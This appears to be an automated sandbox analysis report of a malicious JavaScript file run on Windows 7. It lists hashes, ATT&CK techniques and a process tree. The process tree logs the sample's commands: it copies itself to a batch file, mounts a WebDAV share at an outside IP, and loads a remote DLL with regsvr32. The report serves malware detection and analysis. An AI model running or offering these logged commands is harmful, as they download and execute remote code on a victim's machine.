527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10-07-2024 21:08

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General

Target

107862867251714461.js
Size

5KB
MD5

449c6f1596ed56bca29bd7989ab30356
SHA1

b0a8637d00489795dd6f6ab017f60ca25ffb8e6f
SHA256

527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550
SHA512

64d6f4b6cc9ef6da89f260e9d54edebef3c2af531caf9db1f391af645746405cf1b2c5600dc5f7440e31f82e8b8f5d1f50899f7e24e0e02d9ef5e0bd9b28f1be
SSDEEP

96:6CvDb5jf//afkQDjf//eR0RR83UQKpkmKzfrre2fWFTCkkTJ:6y5jeZDjmR0RgUQzmKzfrre2fWFTCkkl

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

regsvr32.exe

pid process

2500 regsvr32.exe

pid	process
2500	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 2872 wrote to memory of 2108	2872	wscript.exe	cmd.exe
PID 2872 wrote to memory of 2108	2872	wscript.exe	cmd.exe
PID 2872 wrote to memory of 2108	2872	wscript.exe	cmd.exe
PID 2108 wrote to memory of 2612	2108	cmd.exe	net.exe
PID 2108 wrote to memory of 2612	2108	cmd.exe	net.exe
PID 2108 wrote to memory of 2612	2108	cmd.exe	net.exe
PID 2108 wrote to memory of 2500	2108	cmd.exe	regsvr32.exe
PID 2108 wrote to memory of 2500	2108	cmd.exe	regsvr32.exe
PID 2108 wrote to memory of 2500	2108	cmd.exe	regsvr32.exe
PID 2108 wrote to memory of 2500	2108	cmd.exe	regsvr32.exe
PID 2108 wrote to memory of 2500	2108	cmd.exe	regsvr32.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\107862867251714461.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\107862867251714461.js" "C:\Users\Admin\\umyzgh.bat" && "C:\Users\Admin\\umyzgh.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:2108

C:\Windows\system32\net.exe
net use \\45.9.74.13@8888\DavWWWRoot\
3⤵
PID:2612

C:\Windows\system32\regsvr32.exe
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\623.dll
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\umyzgh.bat

Filesize
5KB

MD5
449c6f1596ed56bca29bd7989ab30356

SHA1
b0a8637d00489795dd6f6ab017f60ca25ffb8e6f

SHA256
527c364ec1424d14d84fffb9b556f102627cfcc0aa99df5f2e158eba5ca49550

SHA512
64d6f4b6cc9ef6da89f260e9d54edebef3c2af531caf9db1f391af645746405cf1b2c5600dc5f7440e31f82e8b8f5d1f50899f7e24e0e02d9ef5e0bd9b28f1be

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